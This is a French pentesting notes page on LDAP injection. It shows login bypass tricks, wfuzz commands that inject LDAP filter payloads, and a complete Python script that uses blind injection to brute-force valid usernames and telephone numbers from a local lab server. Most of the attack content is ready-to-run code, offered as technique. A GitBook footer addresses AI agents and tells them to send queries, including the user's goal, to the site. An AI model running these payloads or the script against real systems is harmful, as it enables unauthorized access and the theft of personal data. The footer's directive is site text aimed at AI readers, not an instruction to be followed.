> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).

# Techniques LDAP

Voici quelques façons d’exploiter cette vulnérabilité :

1. En connaissant le **ID utilisateur** et en utilisant le symbole /\* comme mot de passe (qui représente tout) :

<figure><img src="/files/c2725ea4e88b051784f8e5d900a1dd4c3e80dd94" alt="" width="517"><figcaption></figcaption></figure>

2. En connaissant le **début de l’ID utilisateur** et en ajoutant ensuite le symbole /\* :

<figure><img src="/files/08fb1c4e7cf5c77db0d87be56adbaf61ff2c2e6a" alt=""><figcaption></figcaption></figure>

3. En introduisant un **un ID utilisateur valide** et en commentant le champ de mot de passe requis de la requête :

<figure><img src="/files/b8ce915dbabff34add5df3697b0fd24f82efe3cc" alt=""><figcaption></figcaption></figure>

## Attaque par force brute :

* Avec **Wfuzz**, nous pouvons lancer une attaque par **force brute** pour identifier tous les **attributs**:

```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/a17b063aa91d00ee9fbc9f8a1ab73e2bb9b68943" alt="" width="375"><figcaption></figcaption></figure>

Une fois que nous connaissons les attributs avec **Wfuzz** et identifier le **LDAP** point d’injection dans le champ du mot de passe, nous pouvons filtrer par le premier caractère. Dans ce cas, nous le faisons avec le **numéro de téléphone**:

```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/fc51687441cafd4efe9c559b202c36f572b99aab" alt="" width="507"><figcaption></figcaption></figure>

## Script Python automatisé :

```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
    print("/n/n[+] Fermeture.../n")
    sys.exit(1)
# Techniques LDAP
signal.signal(signal.SIGINT, def_handler)
# Techniques LDAP
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
    characters = string.ascii_lowercase
    initial_users = []
    for character in characters:
        post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
        r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
        if r.status_code == 301:
            initial_users.append(character)
    return initial_users
def getUsers(initial_users):
    characters = string.ascii_lowercase + string.digits
    users = []
    for initial_user in initial_users:
        user = initial_user
        for i in range(0, 15):
            for character in characters:
                post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
                r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
                if r.status_code == 301:
                    user += character
                    break
        users.append(user)
    print("/n")
    for user in users:
        log.info('Utilisateur valide trouvé : %s' % user)
    print("/n")
    return users
def getTelephoneNumber(users):
    characters = string.digits
    telephone_numbers = []
    p1 = log.progress("Obtention des numéros de téléphone depuis le LDAP local")
    p1.status("Démarrage de la force brute")
    p2 = log.progress("Obtention du numéro de téléphone")
    for user in users:
        telf = ''
        for i in range(0, 9):
            for character in characters:
                post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
                r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
                p1.status("[+] Obtention du numéro de téléphone de l’utilisateur : %s | %s" % (user, post_data))
                if r.status_code == 301:
                    telf += character
                    p2.status("Numéro de téléphone : %s" % telf)
                    break
        telephone_numbers.append(telf)
    p2.success("Les numéros obtenus sont : %s " % telephone_numbers)
if __name__ == "__main__":
    initial_users = initial_users()
    getUsers = getUsers(initial_users)
    getTelephoneNumber = getTelephoneNumber(getUsers)

```

<figure><img src="/files/6e9c80b69f2006453204dcbb6cef4e406c4bd14f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
